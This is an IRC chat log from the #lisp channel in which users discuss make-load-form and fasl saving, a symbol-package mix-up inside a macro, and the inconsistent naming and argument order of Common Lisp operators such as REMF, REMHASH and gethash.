saki has joined #lisp
<pjb> _death: not necessarily. What matters, is that the objects have a make-load-form method, or are otherwise savable in the fasl file.
asdf123 has quit [Remote host closed the connection]
<pjb> They don't need to be printable readably at all.
Bike has quit [Ping timeout: 252 seconds]
mindCrime has quit [Ping timeout: 240 seconds]
Xach has quit [Ping timeout: 245 seconds]
zfree has quit [Quit: zfree]
varjagg has quit [Ping timeout: 240 seconds]
Xach has joined #lisp
pierpa has joined #lisp
Kevslinger has quit [Quit: Connection closed for inactivity]
<kenster> hey so it tries to do slot-value self 'ptr but it's using CFFI-UTILS:ptr instead of the correct field name
<kenster> it's supposed to be FILE-BUCKET:ptr
<kenster> do I have to pass in the package symbol into the macro?
beach has quit [Ping timeout: 256 seconds]
<pjb> yes.
<pjb> symbols are symbols.
<kenster> ty
varjagg has joined #lisp
megalography has quit [Ping timeout: 268 seconds]
varjagg has quit [Ping timeout: 256 seconds]
nickenchuggets has quit [Read error: Connection reset by peer]
nickenchuggets has joined #lisp
nickenchuggets has quit [Changing host]
nickenchuggets has joined #lisp
Kundry_Wag_ has joined #lisp
Fare has joined #lisp
nickenchuggets has quit [Read error: Connection reset by peer]
nickenchuggets has joined #lisp
nickenchuggets has joined #lisp
nickenchuggets has quit [Changing host]
<v0|d> kenster: (symbol-package symbol)
<pjb> kenster: file-bucket:ptr !
caltelt has joined #lisp
megalography has joined #lisp
Fare has quit [Ping timeout: 260 seconds]
tessier_ is now known as tessier
varjagg has joined #lisp
angavrilov has quit [Remote host closed the connection]
random-nick has quit [Ping timeout: 256 seconds]
varjagg has quit [Ping timeout: 268 seconds]
Bike has joined #lisp
saki has quit [Ping timeout: 244 seconds]
hiroaki has quit [Ping timeout: 255 seconds]
smurfrobot has joined #lisp
mange has joined #lisp
Kundry_Wag_ has quit [Ping timeout: 244 seconds]
spm_ has quit [Remote host closed the connection]
varjagg has joined #lisp
<_death> pjb: this is true but still I don't see it as good style
smurfrobot has quit [Ping timeout: 240 seconds]
dented42 has joined #lisp
varjagg has quit [Ping timeout: 260 seconds]
jasmith has joined #lisp
Fare has joined #lisp
MoziM has quit [Quit: WeeChat 2.2]
robotoad has quit [Quit: robotoad]
MoziM has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
nowhere_man has quit [Ping timeout: 256 seconds]
saki has joined #lisp
knusbaum has joined #lisp
nowhere_man has joined #lisp
didi has joined #lisp
<didi> I just noticed: isn't it interesting that remove-* functions don't mutate data, but REMF and REMHASH do? I mean, for consistency, REMF and REMHASH should be called DELF and DELHASH because delete-* functions mutate.
<Xach> what about maphash
<Bike> delete doesn't necessarily mutate, though
<Bike> remf is in its own boat
<_death> what about remprop..
lumm has quit [Ping timeout: 260 seconds]
fikka has joined #lisp
<_death> it's interesting that it was retained while, say, putprop was not
fikka has quit [Ping timeout: 248 seconds]
robotoad has joined #lisp
lumm has joined #lisp
codenix has joined #lisp
<aeth> didi: The order of gethash is wrong, too
<aeth> It's (gethash key hash-table) while most other things go (foo object key-or-index-or-whatever) except iirc nth
<aeth> The latter order has to be the general order because aref accepts multiple indices, e.g. (aref 0d-array) and (aref 1d-array 3) and (aref 9d-array 4 5 6 1 2 3 7 8 9)
<_death> it is not "wrong".. in certain programs it is actually the preferred order
saki has quit [Ping timeout: 268 seconds]
saki has joined #lisp
<aeth> _death: When everything except 2 has one convention and the rest have the other order, then it's wrong by the conventions of the language
<edgar-rft> REMAINDER doesn't mutate either :-)
Fare has quit [Ping timeout: 264 seconds]
<pierpa> lol
Fare has joined #lisp
caltelt_ has quit [Read error: Connection reset by peer]
<_death> aeth: assoc, find, ...
captgector has quit [Read error: Connection reset by peer]
<aeth> _death: find is not an accessor. assoc then makes it 3. Still not good, considering plists, sequences, arrays, etc., go the other order
<_death> aeth: CL is inconsistent in this regard, but there were reasons, historical or otherwise..
<aeth> I'm pretty sure the reason was 100% historical
<_death> aeth: what I'm saying is that in your own programs, there are reasons to go either way as well
captgector has joined #lisp
<_death> aeth: well, there was a reason when the operator was defined too :)
<aeth> Everything new should follow the new order, i.e. the order ELT, AREF, and GET, etc.
<_death> aeth: nope
<aeth> It also makes it more like other languages.
xrash has quit [Ping timeout: 240 seconds]
<_death> aeth: other languages don't have special variables or good support for REPLs
<_death> aeth: other languages suck